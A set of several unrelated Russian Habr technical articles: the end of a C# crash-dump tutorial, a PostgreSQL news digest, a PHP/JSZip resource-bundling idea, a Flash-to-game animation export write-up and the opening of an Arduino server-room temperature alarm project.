using (System.Diagnostics.Process process = System.Diagnostics.Process.GetCurrentProcess())
{
string FileName = string.Format(@"CRASH_DUMP_{0}_{1}.dmp", DateTime.Today.ToShortDateString(), DateTime.Now.Ticks);
MINIDUMP_EXCEPTION_INFORMATION Mdinfo = new MINIDUMP_EXCEPTION_INFORMATION();
Mdinfo.ThreadId = GetCurrentThreadId();
Mdinfo.ExceptionPointers = Marshal.GetExceptionPointers();
Mdinfo.ClientPointers = 1;
using (FileStream fs = new FileStream(FileName, FileMode.Create))
{
{
MiniDumpWriteDump(process.Handle,(uint)process.Id, fs.SafeFileHandle.DangerousGetHandle(), MINIDUMP_TYPE.MiniDumpNormal,
ref Mdinfo,
IntPtr.Zero,
IntPtr.Zero);
}
}
}
}
```
Дамп записывается в файл с уникальным названием (FileName), который будет храниться в той же директории, что и exe файл. Перед тем как вызвать MiniDumpWriteDump, инициализируем структуру типа MINIDUMP\_EXCEPTION\_INFORMATION.
Рассмотрим список параметров MiniDumpWriteDump.
*hProcess* – дескриптор процесса, для которого генерируется информация
*ProcessID* – ID процесса, для которого генерируется информация
*hFile* — дескриптор файла
*DumpType* — тип дампа (будем использовать MiniDumpNormal)
*ExceptionParam* — информация об исключении
*UserStreamParam* — информация, определяемая пользователем. Мы не будем включать ее в дамп и передадим в метод IntPtr.Zero
*CallbackParam* – информация об обратном вызове. Так же не будем ее использовать.
Метод CreateMiniDump будем вызывать непосредственно из CurrentDomain\_UnhandledException, предупредив перед этим пользователя о произошедшем:
```
public static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
{
System.Windows.Forms.MessageBox.Show("Unhandled exception!");
CreateMiniDump();
}
```
---
Запускаем программу
-------------------
Проверим работу программы, запустив собранный exe-файл и нажав на созданную нами кнопку:
---
Запускаем дамп
--------------
Мы получили дамп с расширением .dmp. Для его использования нужно просто открыть файл, и в результате запустится VisualStudio.
В правой части окна появится подобное меню:
Для того, чтобы иметь возможность работать с реальным кодом программы, а не с IL-кодом и трассировкой стека, необходимо указать symbol paths – директории, в которых предположительно хранятся pdb-файлы нашего приложения. Pdb файл содержит отладочные данные и сведения о состоянии проекта. По умолчанию искомые файлы содержатся в одной директорией с исполняемыми файлами.
Далее, нажав на Debug with mixed, запустим процесс отладки. Мы сможем увидеть состояние программы на момент обрушения, а так же предупреждение о возникшем исключении.
---
Использованные источники
------------------------
1. [Stackoverflow](http://stackoverflow.com/questions/6114976/application-threadexception-vs-appdomain-unhandledexception)
2. [Using Crash Minidump](http://crashrpt.sourceforge.net/docs/html/using_minidump.html#opening_minidump_in_vs)
3. [Howto: C# Generate dump file on crash](http://brakertech.com/howto-c-generate-dump-file-on-crash/)
4. [Writing Minidumps in C#](http://blogs.msdn.com/b/dondu/archive/2010/10/24/writing-minidumps-in-c.aspx)
---
Автор статьи
------------
А. Федосин | https://habr.com/ru/post/153181/ | null | ru | null |
# Postgresso 27
*Ну и год выдался! Подходит к концу. 21-му надо изрядно постараться, чтобы стать хуже. Но он — надеемся — стараться не будет. А жизнь продолжается. И мы продолжаем знакомить вас с самыми интересными новостями PostgreSQL.*
Но сначала поделимся воспоминаниями: как проводил время на хабре отдел образования компании Postgres Professional:* Начнём с того, что под рукой — с Postgresso. Из фонового и иногда побочного занятия Postgresso сместился к центру, стал новостным каналом со стабильной периодичностью примерно месяц. Мы отказались от плоского формата — большой простыни с большим списком релизов и статей по 3-5 строчек на каждую. В 21-м продолжим экспериментировать, но от периодичности не откажемся.
* Наш коллективный труд [PostgreSQL 13. Чертова дюжина](https://habr.com/ru/company/postgrespro/blog/493106/). Первый (задержка в 37 минут после заморозки) и самый полный обзор возможностей 13 версии. Далее последовали обзоры [коммитфестов](https://commitfest.postgresql.org/): [Июльский](https://habr.com/ru/company/postgrespro/blog/510124/), [Сентябрьский](https://habr.com/ru/company/postgrespro/blog/522428/) и [Ноябрьский](https://habr.com/ru/company/postgrespro/blog/533058/) *Павла Лузанова*. Эта практика 20-го года будет продолжена и в 21-м. Мы часто сами на них ссылаемся — а как не сослаться? Они действительно информативны.
* [«Жизнь» в PostgreSQL](https://habr.com/ru/company/postgrespro/blog/523144/) и в [Postgresso 26](https://habr.com/ru/company/postgrespro/blog/523264/) подборка других реализаций [Жизни](https://www.conwaylife.com/wiki/Main_Page) — памяти [*Джона Хортона Конвея*](https://www.conwaylife.com/wiki/John_Conway), умершего от COVID-19.
* Автор статьи [Серверное программирование на человеческом языке](https://habr.com/ru/company/postgrespro/blog/502254/), очень понравившейся хабр-читателям — [*Иван Панченко*](https://postgrespro.ru/blog/media/58363). Мы помогали Ивану в подготовке статьи.
* Сотрудник нашего отдела образования *Павел Толмачёв* написал для хабра статью о модуле **[aqo](https://m.habr.com/ru/company/postgrespro/blog/508766/)**. Тема непростая, а тема — использование ИИ для оптимизации запросов — актуальна, а станет ещё актуальней.
* К тому же бОльшая часть статей была переведена на английский (спасибо *Елене Индрупской* за титанический труд). Это серии очень глубоких погружений *Егора Рогова* [Locks in PostgreSQL](https://habr.com/ru/company/postgrespro/blog/500714/) ([ru](https://habr.com/ru/company/postgrespro/blog/462877/)), [WAL in PostgreSQL](https://habr.com/ru/company/postgrespro/blog/491730/) ([ru](https://habr.com/ru/company/postgrespro/blog/458186/)), [MVCC in PostgreSQL](https://habr.com/ru/company/postgrespro/blog/467437/) ([ru](https://habr.com/ru/company/postgrespro/blog/442804)) и [Indexes in PostgreSQL](https://habr.com/ru/company/postgrespro/blog/441962/) ([ru](https://habr.com/ru/company/postgrespro/blog/326096/)). Кроме того переведён ещё десяток статей, наиболее интересных для англоязычной аудитории. Некоторые из этих статей попадали в англоязычные обзоры самых интересный статей.
Релизы
------
**[Вышла Postgres Pro Standard 13](https://postgrespro.ru/docs/postgrespro/13/release-13-1.html)**
18 декабря 2020 года компания Postgres Professional выпустила новый релиз Postgres Pro Standard 13.1.1. Это первый из тринадцатых релизов Postgres Pro.
Среди новых возможностей:
Новое расширение **[pgpro\_pwr](https://postgrespro.ru/docs/postgrespro/13/pgpro-pwr)** (или PWR, читается как *power*). Это расширение позволяет получать отчёты по нагрузке, полезные для выявления наиболее ресурсоёмких операций в базе данных. Оно умеет использовать данные расширения **[pgpro\_stats](https://postgrespro.ru/docs/postgrespro/13/pgpro-stats)**, предназначенного для сбора статистики выполнения SQL-операторов и подсчёта статистики событий ожидания. pgpro\_stats обновлено. В январе мы опубликуем на хабре отдельную статью о PWR.
Появилась поддержка операционной системы [ОСнова 2.0](https://xn--j1afgaq.xn--p1ai/produkty/bazovaia-operatsionnaia-sistema-os-osnova). Также исправлены ошибки в PostgreSQL 13.1. Среди этих исправлений – устранение уязвимостей CVE-2020-25694, CVE-2020-25695 и CVE-2020-25696 (6 патчей сотрудников Postgres Professional).
**[Postgres Operator v1.6.0](https://www.postgresql.org/about/news/postgres-operator-v160-2136/)**
Релиз поддерживает последнюю PostgreSQL 13 и новый образ [Spilo 13](https://github.com/zalando/spilo/releases/tag/2.0-p2) (спило — слон по-грузински), в котором имеется [Patroni 2.0](https://github.com/zalando/patroni/blob/master/docs/releases.rst#version-200) (но последняя версия Patroni на сегодня [2.0.1](https://github.com/zalando/patroni/blob/master/docs/releases.rst#version-201)). Апгрейд ещё не автоматический, но сильно упростился. Проще стало развертывание pgBouncer на репликах. Подробности в [чейнджлоге](https://github.com/zalando/postgres-operator/releases/tag/v1.6.0) и в [доке](https://github.com/zalando/postgres-operator#notes-on-postgres-13-support).
**[Pgpool-II 4.2.0](https://www.pgpool.net/docs/latest/en/html/release-4-2-1.html)**
Изменения:
* в этом релизе теперь во всех образцах файла `pgpool.conf` путь к сокетам `/var/run/postgresql`;
* Используется единственный сегмент разделяемой памяти для всех разделяемых переменных родительского процесса pgpool;
* при старте убиваются существовавшие до того файлы сокетов `watchdog`
Загрузить можно [отсюда](https://pgpool.net/mediawiki/index.php/Downloads).
**[pg\_timetable: Advanced PostgreSQL Scheduling](https://www.cybertec-postgresql.com/en/pg_timetable-advanced-postgresql-job-scheduling/)**
Это шедулер, написанный на Go разработчиками Cybertec и работающий как отдельное приложение (для сравнения: [pgpro\_scheduler](https://postgrespro.ru/docs/enterprise/12/pgpro-scheduler) выполнен как расширение). Он умеет выполнять задания, состоящие из нескольких разнородных действий, например:
* начать транзакцию;
* записать в лог;
* загрузить файл;
* импортировать файл;
* запустить агрегирование;
* закоммитить транзакцию.
pg\_timetable [на гитхабе](https://github.com/cybertec-postgresql/pg_timetable).
Новый начальник Коммитфеста
---------------------------
*Масахико Савада* (Masahiko Sawada, NTT) стал распорядителем нового Коммитфеста (предыдущий координировала *Анастасия Лубенникова*)
Статьи
------
**[PostgreSQL 14: Часть 3 или «ноябрьское затишье» (Коммитфест 2020-11)](https://habr.com/ru/company/postgrespro/blog/533058/?fbclid=IwAR3NjVSny17unZq0oLrdTZd0gSfEF9NuqK1wJTXoxSeWmx-ld_rGlrWdWq0)**
Это изменения после [ноябрьского коммитфеста](https://commitfest.postgresql.org/30/), последнего в 2020. *Павел Лузанов* сам предлагает обратить особое внимание на вопросы:
* Не пора ли увеличивать wal\_buffers?
* Можно ли перегружать хранимые подпрограммы по OUT-параметрам?
* По умолчанию pg\_stat\_statements собирает данные о 5000 запросов. Как понять много это или мало?
* Что будет, если в операционной системе обновится библиотека libc?
Текст огромный, так как список изменений полный. Продолжение следует после [январского коммитфеста](https://commitfest.postgresql.org/31/).
**[Обзор операторов PostgreSQL для Kubernetes: Часть 1: наш выбор и опыт](https://habr.com/ru/company/flant/blog/520616/) и [Часть 2: дополнения и итоговое сравнение"](https://habr.com/ru/company/flant/blog/527524/)**
В первой части *Николай Богданов* в блоге компании Флант, советовал начать с [доклада на Highload++](https://habr.com/ru/company/flant/blog/431500/) своего коллеги *Дмитрия Столярова*, где тот знакомит с общими принципами работы баз данных в Kubernetes (K8s). Николай же формулирует 6 основных требований со стороны K8s и рассматривает операторы:
* **[Stolon](https://github.com/sorintlab/stolon/blob/master/doc/architecture.md)**. Этот довольно популярный отказоустойчивый кластер [интегрирован](https://github.com/sorintlab/stolon/blob/master/examples/kubernetes/README.md) в K8s. Но Stolon не подошёл, так как первое же («деплой из Git и с [Custom Resources](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/#deploying-operators)») из тех кубернетовских требований не удовлетворено ([нет Custom](https://github.com/sorintlab/stolon/issues/463#issuecomment-379666733)).
* **[Crunchy Data PostgreSQL Operator](https://github.com/CrunchyData/postgres-operator)** — разработка нашего старого postgres-знакомого CrunchyData (автор называет молодым стартапом) богат фичами, но он оттолкнул несоответствием принятым в K8s стандартным возможностям работы с ресурсами.
* **[Zalando Postgres Operator](https://github.com/zalando/postgres-operator)** понравился больше всего. И возможностей много, и развивается быстро, и соответствует look & feel в глазах истых кубернетчиков.
Дальше Николай начинает работать с Crunchy Data PostgreSQL Operator, делится впечатлениям. А они не столько радужны, как хотелось. Список проблем и их решений, а также план миграции прилагаются.
Во второй части обзора, вышедшей 13-го ноября, добавились ещё два K8s-оператора:
**[KubeDB](https://kubedb.com/)** и
**[StackGres](https://stackgres.io/)**.
В результате появилась сводная таблица — матрица имеющихся возможностей этих 5 операторов. Но сердце автора уже прикипело к Zalando, он объявлен лучшим вариантом для тру кубернетчика.
**[What are table access methods, and what is their importance to PostgreSQL?](https://www.postgresql.fastware.com/blog/postgresql-table-access-methods?hss_channel=tw-821983480137420800)**
Статья *Панкаджа Капура* (Pankaj Kapoor, Fujitsu) — этакое обозрение уже не такой уж короткой (4 года) истории попыток интегрировать вертикальное хранение в PostgreSQL. Автор наблюдал этот процесс не как посторонний: Fujitsu, где он работает, предлагала сообществу свой [Vertical Clustered Index](https://www.postgresql.fastware.com/blog/improve-data-analysis-performance-without-impacting-business-transactions) в 2016, одновременно с патчем подобной направленности, предложенным *Альваро Эррера* (Álvaro Herrera, 2ndQuadrant, теперь EDB). Со стороны Fujitsu внедрением Vertical Clustered Index занимался *Харибабу Коми* (Haribabu Komi). Но сообщество пошло другим путём: сосредоточило усилия на универсальном решении — на API методов доступа к таблицам, по образцу методов доступа к индексам.
Сейчас, на конец 2019-го через слой методов доступа идёт интеграция с таблицами альтернативного типа хранения, [zheap](https://wiki.postgresql.org/wiki/Zheap), например. Но пока только с доступом на базе кортежей, то есть до интеграции вертикального хранилища (реальный претендент — [Zedstore](https://github.com/bigsql/zedstore)) ещё далеко.
Автор предлагает заодно ознакомиться со своей [презентацией](https://www.pgcon.org/2019/schedule/attachments/536_pgcon2019_pluggable_table_AM_V1.3.pdf) на [PGCon2019](https://www.pgcon.org/2019/).
Напомним и о **[vops](https://postgrespro.ru/docs/enterprise/12/vops)** — интересном расширении Postgres Professional, поддерживающем векторные операции. Данные там группируются по значениям столбцов и хранятся в виде «плиток» («паркета»).
**[Insert-Only Data Modelling To Smooth Peaks On Slow Disks](https://www.cybertec-postgresql.com/en/insert-only-data-modelling-to-smooth-peaks-on-slow-disks/)**
*Каарел Моппел* (Kaarel Moppel, Cybertec) предлагает неожиданный и даже контринтуитивный способ сглаживания пиков: вместо UPDATE данных только INSERT на время пиков нагрузки, чтобы потом, в спокойные часы разобраться с данными, вставленными в экстремальной ситуации. Выигрыш в скорости INSERT vs UPDATE на тестовых данных Каарела (100 млн записей) получился раза в 3. Конечно, этот способ подходит отнюдь не во всех случаях, но Каарел говорит об опыте конкретной проблемы заказчика, у которого не было возможности или желания апгрейдить железо из-за пиков, в то время, как в обычных условиях система справлялась.
**[10 Things I Hate About PostgreSQL](https://medium.com/@rbranson/10-things-i-hate-about-postgresql-20dbab8c2791)**
Под Новый Год лучше бы уж не о ненависти, а о любви. Ну да ладно. *Рик Бронсон* (Rick Branson), работавший в том числе с петабайтного масштаба проектами, решил подытожить 2020-й десяткой самых ненавистных ему особенностей PostgreSQL (некоторые наши спойлеры *курсивом*):
#1: Wraparound, чреватый катастрофой
*[«скорее всего когда-то в будущем XID-ы станут 64-разрядными целыми» (то есть как уже давно в [Postgres Pro Enterprise](https://postgrespro.com/docs/enterprise/12/intro-pgpro-vs-pg))]*;
#2: При переключении кластера (failover) могут потеряться данные;
#3: Неэффективная репликация, распространяющая испорченные данные;
#4: Частая сборка мусора в СУБД типа MVCC проходит болезненно
*[Вся надежда Рика на будущий [zheap](http://rhaas.blogspot.com/2018/01/do-or-undo-there-is-no-vacuum.html)]*;
#5: Принцип «по процессу на соединение» мешает масштабируемости
*[Рик рассказывает, как использовал 2 слоя pgbouncer-ов и как доходило в общей сложности до миллиона процессов; а также скучает про тред-на-соединение в MySQL]*;
#6: Индекс по Primary Key очень прожорлив по части ресурсов
*[Рик предлагает использовать индекс-таблицы]*;
#7: Для апгрейда мажорных версий может потребоваться остановка СУБД
*[Из-за несовместимости бинарных форматов хранения файлов на диске могут потребоваться часы простоя. Это при потоковой репликации. Переход на логическую может решить проблему в будущем]*;
#8: Неуклюжая настройка репликации;
#9: Странная догма «Никаких-подсказок-планировщику»;
#10: Отсутствие компрессии на уровне блоков.
Но каждый из пунктов не так уж просто устроен: там масса оговорок и уточнений (учитывающих и реплики комментаторов). Ну а дальше автор поясняет, конечно, что никакой ненависти к PostgreSQL у него нет, просто нет идеальных СУБД, и бурно выражает уверенность в том, что великолепная команда разработчиков PostgreSQL все эти вопросы благополучно разрешит.
**[Waiting for PostgreSQL 14 – Multirange datatypes](https://www.depesz.com/2020/12/21/waiting-for-postgresql-14-multirange-datatypes/)**
Как всегда активен *Депеш*, он же *Хуберт Любашевски* (Hubert Lubaczewski). Здесь он пишет о [патче](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=6df7a9698bb036610c1e8c6d375e1be38cb26d5f) *Александра Короткова*. Как можно догадаться, многодиапазонные типы собираются из непересекающихся диапазонов. Как и [диапазоны](https://postgrespro.ru/docs/postgrespro/13/rangetypes), они строятся на базе `integer, bigintint, numeric, timestamp without time zone, timestamp with time zone, date`.
Депеш создает многодиапазонные данные и пробует их на зуб: смотрит, какие индексы с ними уже можно создавать. `btree` уже точно можно, так что вот такой запрос будет ускоряться:
```
SELECT * FROM test
WHERE ranges = '{[77.7909859996235,177.7909859996235],(1035.84122266822,1135.84122266822],(1000099.99954803,1000199.99954803]}';
```
**[How to install and configure PostgreSQL Debian/Ubuntu – for developer use – part 1](https://www.depesz.com/2020/12/24/how-to-install-and-configure-postgresql-debian-ubuntu-for-developer-use-part-1/)**
А здесь Депеш решил расписать шаги по установке PostgreSQL-13, настройке пользователей, редактировании `pg_hba.conf` и запуске PgAdmin под произвольным пользователем. Это азбука, но какие-то нюансы могут и пригодиться. Содержание следующих частей пока не анонсировано. На всякий случай напоминаем о существовании [Малютки](https://postgrespro.ru/education/books/introbook).
**[Waiting for PostgreSQL 14 – pg\_stat\_statements: Track time at which all statistics were last reset.](https://www.depesz.com/2020/12/21/waiting-for-postgresql-14-pg_stat_statements-track-time-at-which-all-statistics-were-last-reset/)**
Идёт постоянное усовершенствование [pg\_stat\_statements](https://postgrespro.ru/docs/postgrespro/13/pgstatstatements). В [1-м](https://habr.com/ru/company/postgrespro/blog/510124/) и [3-м](https://habr.com/ru/company/postgrespro/blog/533058/) обзорах коммитфестов от *Павла Лузанова* уже было о некоторых коммитах. Депеш пишет о важном коммите *Фуджи Масао* (Fujii Masao): времени последнего ресета статистики. Информацию в `pg_stat_statements` время от времени очищают приложения и отдельные запросы:
```
SELECT pg_stat_statements_reset();
```
Теперь можно спросить у `pg_stat_statements` о времени последней чистки:
```
SELECT stats_reset FROM pg_stat_statements_info;
dealloc | stats_reset
---------+-------------------------------
0 | 2020-12-20 12:06:02.099943+01
```
**[Postgres, PL/Python and SciPy/NumPy for Processing Images](https://info.crunchydata.com/blog/postgresql-pl/python-and-scipy/numpy-for-processing-images)**
Это продолжение [статьи](https://info.crunchydata.com/blog/using-postgresqls-bytea-type-with-django) о сохранении картинок через Django-приложение в тип PostgreSQL **bytea**. На этот раз картинки ещё и обрабатывают фильтром.
**[Is Update The Same As Delete + Insert In PostgreSQL](https://www.cybertec-postgresql.com/en/is-update-the-same-as-delete-insert-in-postgresql/)**
Ответ: почти. И дальше *Лоренц Альбе* (Laurenz Albe) из Cybertec исследует это «почти». Речь о блокировках при стандартном уровне изоляции: READ COMMITTED.
```
Session 1 Session 2
BEGIN;
UPDATE uptest SET id = 2
WHERE val = 42;
SELECT id FROM uptest
WHERE val = 42
FOR UPDATE; -- hangs
COMMIT;
-- one row is returned
```
А в другой раз:
```
Session 1 Session 2
BEGIN;
DELETE FROM uptest
WHERE id = 1;
INSERT INTO uptest VALUES (2, 42);
SELECT id FROM uptest
WHERE val = 42
FOR UPDATE; -- hangs
COMMIT;
-- no row is returned
```
— в первый раз возвращается 1 запись, во втором 0.
Дальше Лоренц исследует эту ситуацию, используя расширение [pageinspect](https://postgrespro.ru/docs/postgrespro/13/pageinspect), да ещё и рассказывает о разнице поведения атрибутов `infomask` и `infomask2` в этих двух случаях.
Конференции
-----------
Неопределённость сохраняется. Кто-то уже объявил о переформатировании в он-лайн.
**[PGCon 2021](https://www.pgcon.org/2021/)**
В 2021-м пройдёт 28-го мая в сокращенном формате. От конференции осталась только Unconference, которая уместится в zoom. Записаться можно [здесь](https://lists.pgcon.org/mailman/listinfo/pgcon-announce).
**[Nordic PGDay 2021](https://2021.nordicpgday.org/)**
Запланирована на 18 марта в Хельсинки. Об он-лайне пока ни слова. Год назад эта конференция была отменена из-за эпидемии.
#### Облака
**[Want more PostgreSQL? You just might like Babelfish](https://aws.amazon.com/ru/blogs/opensource/want-more-postgresql-you-just-might-like-babelfish/)**
Этот проект откровенно ориентирован на тех, кто хочет беспроблемно мигрировать с MS SQL Server на PostgreSQL. Утверждается, что Bablefish это PostgreSQL, совместимый с SQL Server настолько, что приложения, под него написанные (в том числе с T-SQL и протоколом TDS), будут сразу работать.
### Новости юриспруденции
**[Trademark Policy изменилась](https://www.postgresql.org/about/policies/trademarks/)**
Изменения касаются и Slonik-а — то есть милой сердцам постгресистов картинки, и торговых марок.
Кто ты, бек-эндер?
------------------
Может ты бэкендер? Этот в высшей степени непростой вопрос разбирается в пространном исследовании **[Острые орфографические боли по всей длине слова и как от них избавиться](https://gzom.ru/sukha-teoriya/front-end-back-end-kak-po-russki/)** на сайте [ГЗОМ](https://gzom.ru/). Любители отгадывать зажмурьтесь: дальше ответы-спойлеры.
**Сегодня нормативно:**
*Бэк-энд, бэк-энд-разработчик*. В профессиональных текстах — *back-end-разработчик*.
**Соответствуют русской орфографии:**
Бэкендер, бэк-эндовый.
**Лет через семь могут возобладать:**
Бэкенд, бэкендовый.
---
*Предыдущие выпуски:*
[#26](https://habr.com/ru/company/postgrespro/blog/523264/), [#25](https://habr.com/ru/company/postgrespro/blog/519102/), [#24](https://habr.com/ru/company/postgrespro/blog/513632/), [#23](https://habr.com/ru/company/postgrespro/blog/508270/), [#22](https://habr.com/ru/company/postgrespro/blog/504504/), [#21](https://habr.com/ru/company/postgrespro/blog/498152/), [#20](https://habr.com/ru/company/postgrespro/blog/496974/), [#19](https://habr.com/ru/company/postgrespro/blog/488846/), [#18](https://habr.com/ru/company/postgrespro/blog/472082/), [#17](https://habr.com/ru/company/postgrespro/blog/466065/), [#16](https://habr.com/ru/company/postgrespro/blog/456790/), [#15](https://habr.com/ru/company/postgrespro/blog/445544/), [#14](https://habr.com/ru/company/postgrespro/blog/436352/), [#13](https://habr.com/ru/company/postgrespro/blog/434760/), [#12](https://habr.com/company/postgrespro/blog/428275/), [#11 (спец)](https://habr.com/company/postgrespro/blog/426745/), [#10](https://habr.com/topic/edit/422527/), [#9](https://habr.com/company/postgrespro/blog/420283/), [#8](https://habr.com/company/postgrespro/blog/415675/), [#7](https://habr.com/company/postgrespro/blog/413419/), [#6](https://habr.com/company/postgrespro/blog/358560/), [#5](https://habr.com/company/postgrespro/blog/353736/), [#4](https://habrahabr.ru/company/postgrespro/blog/351650/), [#3](https://habrahabr.ru/company/postgrespro/blog/349100/), [#2](https://habrahabr.ru/company/postgrespro/blog/347858/), [#1](https://habrahabr.ru/company/postgrespro/blog/345652/) | https://habr.com/ru/post/530444/ | null | ru | null |
# Ресурсы в архиве или как уменьшить количество подгружаемых файлов
Ранним жарким утром спросонья пришла в голову идея. Подозреваю, что у этой идеи есть минусы либо ее уже реализовали куда более годным способом — но, авось да пригодится кому-нибудь.
Очень часто веб-разработчики сталкиваются с проблемой большого количества мелких файлов. Картинки, скрипты, css — неудобно, все дела. Нужно как-то бороться с этим. import, спрайты, блаблабла — это хорошо, но можно попробовать и иначе. Мой вариант — упаковка всех необходимых ресурсов в архив на стороне сервера(реализация — на php), получение данных на клиенте, установка ресурсов в нужных местах.
Проблемы на данный момент: не придумал толком, как кешировать полученный архив, таким способом не стоит паковать динамический контент или большие файлы.
Для распаковки архива на клиенте использована библиотека [JSZip](http://stuk.github.io/jszip/), для удобства — jQuery.
Итак, посмотрим на код.
ziplogic.php:
```
class ZipLogic extends ZipArchive{
public $filename;
public function __construct() {
$filename = "current/latest.zip";
$this->filename = $filename;
if(file_exists($filename))
unlink($filename);
if ($this->open($filename, ZIPARCHIVE::CREATE)!==TRUE) {
$error = error_get_last();
echo $error["message"];
return null;
}
}
public function pack($url){
$this->addFile($url);
}
}
```
Этот класс наследуется от ZipArchive и нужен только для чуть более удобной работы с архивом.
Теперь — код для упаковки нужных ресурсов:
index.php:
```
include "ziplogic.php";
$zpack = new ZipLogic();
if($zpack==null)
{
echo 'wrong data';
return;
}
$zpack->pack('img/screen.png');
$zpack->pack('img/screen_1.png');
$zpack->pack('img/screen_2.png');
$zpack->pack('css/alotofstyles.css');
$zpack->pack('js/cooljs.js');
$zpack->close();
include 'content.html';
```
Тут, собственно, тоже нет ничего особо интересного: создаем объект ZipLogic, перечисляем все ссылки на ресурсы, которые нужно упаковать, закрываем объект, подключаем конечную html'ку. В результате в папке current создается архив latest.zip, который содержит в себе все нужные ресурсы(см. ziplogic.php).
По хорошему, использовать его нужно перед публикацией страницы, каждый раз генерировать нет смысла.
Ну и на закуску — сама html'ка. Верстку не критиковать, пожалуйста — ее здесь нет.
content.html:
```
body{margin: 0;}
![]()
![]()
```
Тут стоит описать чуть подробнее.
Функция getBinary, если не ошибаюсь, честно сперта со stackoverflow. Скачивает архив и передает полученный массив байт в callback.
Функция unpackResources, собственно, и делает основную часть работы: обрабатывает содержимое архива, вытаскивает пути, находит все элементы, ресурсы в которых помечены через zpack, создает соотв. blob и подгружает его в нужный элемент.
Пока все это добро не подгрузится, висит загрузчик.
В итоге получаем довольно простой код, позволяющий упаковать большое количество ресурсов в 1 архив и распаковать его на стороне клиента.
Спасибо за внимание, комментарии и идеи крайне приветствуются, критика без использования слов «идиот» и «криворукий ламер» — тоже. | https://habr.com/ru/post/232823/ | null | ru | null |
# Создание игровой анимации на примере Pudding Monsters
Всем привет!
Сегодня я расскажу, как мы упростили процесс создания анимации в играх, используя возможности Adobe Flash.
Каждый, кто сталкивался с созданием 2D анимации, знает, что существует как минимум два основных подхода — покадровая и программная анимация. Ни один из этих подходов не является приемлемым, если в мобильном приложении требуется сложная анимация какого-либо объекта. В первом случае получается огромный атлас текстур, который сложно уместить в ограниченную память устройства. В случае с программной анимацией художник и программист должны потратить кучу времени, чтобы захардкодить все трансформации. Такая анимация обычно получается упрощенной из-за сложности ручного переноса параметров трансформаций.
Так что же делать, если в приложении нужна красивая и сложная анимация? Правильно, нужно *автоматизировать* процесс создания программной анимации. Создание анимации необходимо полностью переложить на плечи художника, программист же должен заниматься написанием логики ее отображения.
Исторически сложилось, что Adobe Flash стал практически стандартом в области создания 2D анимации, а начиная с версии CS5, исходный файл с анимацией .fla — это обычный zip, внутри которого находится Flash документ в формате XFL. Именно его мы и используем для экспорта трансформаций на этапе подготовки ресурсов приложения.
###### Внутреннее устройство .fla файла
Не смотря на то, что документации по формату XFL до сих пор нет в открытом доступе, не составляет труда разобраться в его устройстве (об этом уже [писали](http://habrahabr.ru/post/51855/) на хабре). Файл *DOMDocument.xml* содержит описание всех трансформаций с использованием [символов](http://www.adobe.com/devnet/flash/articles/concept_symbol.html) из библиотеки (директория *LIBRARY*). Все остальное в нашем случае не потребуется.
Каждый ключевой кадр в файле *DOMDocument.xml* представлен следующим образом:
```
```
Самая важная часть в этом представлении — атрибуты тега [Matrix](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/geom/Matrix.html). Также здесь содержится информация о порядковом номере кадра, имени символа, центре трансформаций и типе перехода между кадрами.
###### Обработка данных
Для воспроизведения трансформаций на движке игры проводится декомпозиция матрицы трансформации. Чтобы получить значения наклона (skew) и масштаба (scale) по каждой оси координат, воспользуемся формулами:
> skewX = atan(-c/d)
>
> skewY = atan(b/a)
>
> scaleX = sqrt(a2+b2)
>
> scaleY = sqrt(c2+d2)
>
>
###### Ресурсы приложения
В ресурсы приложения после обработки попадает файл с описанием трансформаций с формате, понятном игровому движку. На основе этого файла (тоже XML, только без лишней информации) создается анимированный игровой объект. Программисту лишь требуется добавить его в правильное место на сцену и вызвать нужную анимацию.
Изображения, которые находятся внутри .fla файла, не используются во время отрисовки, а получаются из соответствующих слоев отдельных .psd файлов. Это позволяет использовать один .fla файл при создании анимации для нескольких разрешений. Организация библиотеки .fla файлов отражает эту зависимость:
###### Преимущества данного подхода
На примере продемонстрирую преимущества описанного метода, который был успешно опробован в нашей игре **Pudding Monsters**. Подсказки игроку реализованы в виде анимированных диалоговых пузырей, которых только в первом наборе уровней появляется 7 различных штук. Вот, как это выглядит в Adobe Flash:
Если бы мы пошли по простому пути и использовали покадровую анимацию, то кадры для каждой анимации подсказки разместились бы на атласе текстур с разрешением в среднем 4016x2086 (для экрана iPhone 4), например, на таком:
В результате, в памяти потребовалось бы держать порядка 16 МБ для каждой анимации, и это определенно перебор для такого второстепенного графического элемента. Пришлось бы упрощать анимацию и искать пути оптимизации.
С автоматизированным экспортом трансформаций, все что нужно для воспроизведения анимаций, — это атлас с разрешением 518x942 пикселей и файл с описанием объемом 284 КБ. Помимо того, что требуется так мало ресурсов, анимация проигрывается с частотой кадров 60 fps.
Такой подход позволил существенно уменьшить трудозатраты на создание анимации для всех наших игр, но это всего лишь один из вариантов автоматизации процесса.
Буду рад обсудить, как вы решали подобные задачи в своих проектах. | https://habr.com/ru/post/169861/ | null | ru | null |
# Удаленный оповещатель о критических температуре и влажности на основе МК AVR и датчика DHT22
После подряд 2х поломок кондиционера в серверной и последующего перегрева помещения в течение нескольких суток, встал вопрос о слежении за температурой в ней. Можно было бы ежедневно(ежечасно/ежеминутно) смотреть температуру со встроенных в сервера датчиков температуры используя интерфейс управления IPMI. Но в этом случае присутствует человеческий фактор на который, в данном случае, оказывает свое негативное осознание того, что можно было бы автоматизировать все гораздо лучше. Так случилось, что я как раз не так давно увлекся такой крайне интересной штукой как микроконтроллеры, поэтому задача автоматизации с использованием МК была новой и интересной возможностью реализовать накопленные знания в полезном для мира проекте.
### Общая схема работы устройства и использованные инструменты.
За основу было решено взять одну из плат Arduino. Цены на китайские аналоги невысоки и вся необходимая обвязка МК компактно уже размещена на модуле. Изначально предполагалось использовать Arduino Pro + DHT22. Arduino Pro – так как самая дешевая, маленькая, но вполне функциональная плата. DHT22 — потому что этот датчик умеет, в отличие от более дешевого DS18B20, определять еще и влажность. А нам это тоже пригодится. Серверная по забавному стечению обстоятельств находится рядом с туалетом, который может затопить все вокруг себя совершенно без поднятия температуры, например.
При такой схеме, МК в случае превышения критической температуры или влажности, должен был отправлять по витой паре (длинной ~70м) до кабинета ИТ отдела сигнал. Ну, а здесь пиликать зуммером и мигать разноцветными светодиодами всячески оповещая нас о приближающемся апокалипсисе. К сожалению, это простое решение оказалось не годно по причине отсутствия прямой линии (без промежуточных хабов) между серверной и нашим кабинетом.
*Фото 1-й версии устройства:*
